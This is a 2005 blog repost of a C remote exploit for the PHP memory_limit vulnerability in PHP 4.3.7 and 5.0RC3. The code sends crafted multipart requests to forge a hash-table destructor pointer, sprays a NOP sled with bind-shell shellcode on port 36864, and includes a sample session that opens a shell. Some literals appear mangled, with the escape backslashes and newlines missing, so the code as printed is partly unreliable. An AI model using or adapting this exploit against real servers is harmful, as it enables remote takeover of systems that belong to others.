2005. 11. 15. 11:15
Vulnerable Systems:
 * PHP 4 version 4.3.7 and prior
 * PHP 5 version 5.0RC3 and prior

Exploit:
/* Remote exploit for the php memory_limit vulnerability found by Stefan
 * Esser in php 4 (<= 4.3.7) and php 5 (<= 5.0.0RC3).
 *
 * by Gyan Chawdhary (gunnu45@hotmail.com)
 * (felinemenace.org/~gyan)
 *
 * Greets
 * S.Esser for the vuln and mlxdebug.tgz, everything in the code is based on it.
 * scrippie, gera, riq, jaguar, girish, n2n ...
 *
 * Vulnerability:
 * The issue is well documented in the advisory.
 *
 * Exploitation:
 * I cud not find a generic way to free a 40 byte chunk which could be later
 * used by ALLOC_HASHTABLE. The exploit will construct a fake zend hash table
 * which will be sent in the first request. The second request will kick in the
 * memory interuption after allocating space for the hashtable and before it is
 * initalized. The memory it will use for this allocation will contain the data
 * from our previous request which includes the pDestructor pointer pointing to
 * our nop+shellcode which is a part of the second request. This happens in the
 * zend_hash_destory function.
 *
 * PS - The exploit is ugly, coded to test the vuln. If anyone knows the trick
 * for 40 byte free() then plz drop me a mail. Tested on RH 8 php 4.3.7,
 * Apache 2.0.49 with register_globals = On
 *
 * Gyan
 *
 *
 */

#include <stdio.h>
#include <string.h>
#include <unistd.h>

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>

#define IP "127.0.0.1"
#define PORT 80
int sock;
struct sockaddr_in s;

char request1[]=
"POST /info.php?a[1]=test HTTP/1.0"
"Host: doesnotreallymatter "
"User-Agent: mlxdebug "
"Accept: text/html "
"Connection: close "
"Pragma: no-cache "
"Cache-Control: no-cache "
"Content-Type: multipart/form-data; boundary=------------ BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB ";

char request2[]=
"---------------264122487026375 "
"Content-Length: 472 "
" "
"-----------------------------264122487026375 "
"Content-Disposition: form-data; name="a[][]" "
" "
"TESTTESTTESTTESTTESTTESTTESTTESTTESTTES "
" "
"-----------------------------264122487026375-- ";

char request3[]=
"POST /info.php?a[1]=test HTTP/1.0"
"Host: doesnotreallymatter "
"User-Agent: mlxdebug "
"Accept: text/html "
"Connection: close "
"Pragma: no-cache "
"Cache-Control: no-cache "
"Content-Type: multipart/form-data; boundary=-------------";

char request4[]=
"---------------264122487026375 "
"Content-Length: 472 "
" "
"-----------------------------264122487026375 "
"Content-Disposition: form-data; name="a[][]" "
" "
"TESTTESTTESTTESTTESTTESTTESTTESTTESTTES "
"-----------------------------264122487026375-- ";

/*Ripped shellcode. Runs on port 36864*/
char shell[]=
"xebx72x5ex29xc0x89x46x10x40x89xc3x89x46x0c"
"x40x89x46x08x8dx4ex08xb0x66xcdx80x43xc6x46"
"x10x10x66x89x5ex14x88x46x08x29xc0x89xc2x89"
"x46x18xb0x90x66x89x46x16x8dx4ex14x89x4ex0c"
"x8dx4ex08xb0x66xcdx80x89x5ex0cx43x43xb0x66"
"xcdx80x89x56x0cx89x56x10xb0x66x43xcdx80x86"
"xc3xb0x3fx29xc9xcdx80xb0x3fx41xcdx80xb0x3f"
"x41xcdx80x88x56x07x89x76x0cx87xf3x8dx4bx0c"
"xb0x0bxcdx80xe8x89xffxffxff/bin/sh";


void xp_connect(char *ip)
{
        char buffer[1024];
        char temp[1024];
        int tmp;

        s.sin_family = AF_INET;
        s.sin_port = htons(PORT);
        s.sin_addr.s_addr = inet_addr(ip);

        if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
        {
                printf("Cannot create socket ");
                exit(-1);
        }

        if((connect(sock,(struct sockaddr *)&s,sizeof(struct sockaddr))) < 0)
        {
                printf("Cannot connect() ");
                exit(-1);
        }
}

void xp_write(char *data)
{

        if(write (sock, data, strlen(data)) < 0)
        {
         printf("write() failed ");
         exit(-1);
        }
}

void xp_receive()
{
        int tmp;
        char buffer[1024*2];
 
  if ( (tmp = read(sock, buffer, sizeof(buffer))) <= 0)
        {
               printf("read() failed ");
               exit(-1);
        }
}

char fill[] = " %s ";

/*This function builds the main request. In destroy_uploaded_files_hash we
 * need to pass zend_hash_apply to reach zend_hash_destroy.
 * We set
 * 1) ht->nApplyCount to 0x02020202 to pass HASH_PROTECT_RECURSION
 * 2) p->pListNext = 0x00000000 to exit out of zend_hash_apply
 * 3) ht->pDestructor = addr to nop+shellcode
 * 0x402c22bc <zend_hash_destroy+184>: sub $0xc,%esp
 * 0x402c22bf <zend_hash_destroy+187>: pushl 0x8(%esi)
 * 0x402c22c2 <zend_hash_destroy+190>: call *%eax
 * 0x402c22c4 <zend_hash_destroy+192>: add $0x10,%esp
 *
 * $eax = ht->pDestructor
 */

void build1(int size, int count)
{
         char *p1, *p2;
         char *b1, *b2;
         int i;
  int pot = 0xffffffff;
  int got = 0x41414141;
  int bot = 0x0818ef29; //0x0818ef78;//0x08189870; //0x402b6c08;
  int sot = 0x02020202;
  int ret = 0x081887a8;

  b1 = (char *)malloc(size-8);
                p1 = b1;

  for (i=0; i<size-8; i+=36)
  {
  *( (int **)p1 ) = (int *)( pot );
  p1+=4;
  *( (int **)p1 ) = (int *)( got );
  p1+=4;
  *( (int **)p1 ) = (int *)( bot );
  p1+=4;
  *( (int **)p1 ) = (int *)( ret );
                p1+=4;
                *( (int **)p1 ) = (int *)( bot );
                p1+=4;
  *( (int **)p1 ) = (int *)( got );
         p1+=4;
         *( (int **)p1 ) = (int *)( bot );
         p1+=4;
  *( (int **)p1 ) = (int *)( sot );
  p1+=4;
  }

         b2 = (char *)malloc(size+1);
         p2 = b2;

  sprintf(p2, fill, b1);

         for(i=0; i<count; i++)
                xp_write(b2);
}

/*Test function for resetting php memory , does not work properly with
 * php_normalize_heap function */
void build2(int size, int count)
{
               char *p1, *p2;
               char *b1, *b2;
               int i;
               b1 = (char *)malloc(size-8);
               p1 = b1;
               memset(p1, 'x42', size-8);
               b2 = (char *)malloc(size+1);
               p2 = b2;
               sprintf(p2, fill, b1);
               for(i=0; i<count; i++)
               xp_write(b2);
}

/*TODO*/
char *php_normalize_heap()
{
 return;
}

/*Builds our shellcode with NOP's and the mem interuption request*/

void build3(int size, int count)
{
               char *p1, *p2;
               char *b1, *b2;
               int i;
               int pot = 0x90909090;

        b1 = (char *)malloc(size-8);
               p1 = b1;
  
          for (i=0; i<size-8-strlen(shell); i+=4) {
         *( (int **)p1 ) = (int *)( pot );
                 p1+=4;
                }
   p1 = b1;

  p1+= size - 8 - strlen(shell);
  strncpy(p1, shell, strlen(shell));
              
               b2 = (char *)malloc(size+1);
               p2 = b2;

                sprintf(p2, fill, b1);

                for(i=0; i<count; i++)
                 xp_write(b2);
       }
        


void exploit()
{

 int i;
 
 printf("Stage 1: Filling mem with bad pdestructor ... ");
 for (i=0; i< 5; i++)
 {
        xp_connect(IP);
            xp_write(request1);
             build1(5000, 1);
             xp_write(request2);
      close(sock);
 }
 printf("DONE ");
 printf("Stage 2: Triggering memory_limit now ... ");
  
 xp_connect(IP);
        xp_write(request3);
        build3(8192, 255);
        build3(7265, 1);
        xp_write(request4);
 printf("DONE ");
 printf("Shell on port 36864 ");
 
}

main()
{
 /*No args, no vectors*/
 exploit();
}

/*
 * Using [][][][] arry its possible to exhaust mem for 1.3.* servers and
 *trigger memlimit in _zval_copy_ctor after ALLOC_HASHTABLE
 *
 *
[root@localhost stuff]# ./cool
Stage 1: Filling mem with bad pdestructor ... DONE
Stage 2: Triggering mem_limit now ... DONE
Shell on port 36864
[root@localhost stuff]# telnet 127.0.0.1 36864
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.
id;
uid=99(nobody) gid=4294967295 groups=4294967295
uname -a;
Linux localhost.localdomain 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
*/

'Hobby > Computer' 카테고리의 다른 글

W.S. #01  (4) 2005.11.16
UTF-8  (0) 2005.11.15
Server Push  (0) 2005.11.15
Zeroboard 4.x "preg_replace" Remote Command Execution Exploit  (2) 2005.11.15
Internet Explorer 'mshtmled.dll' 6.0 Denial Of Service  (0) 2005.11.15
Posted by 아즈키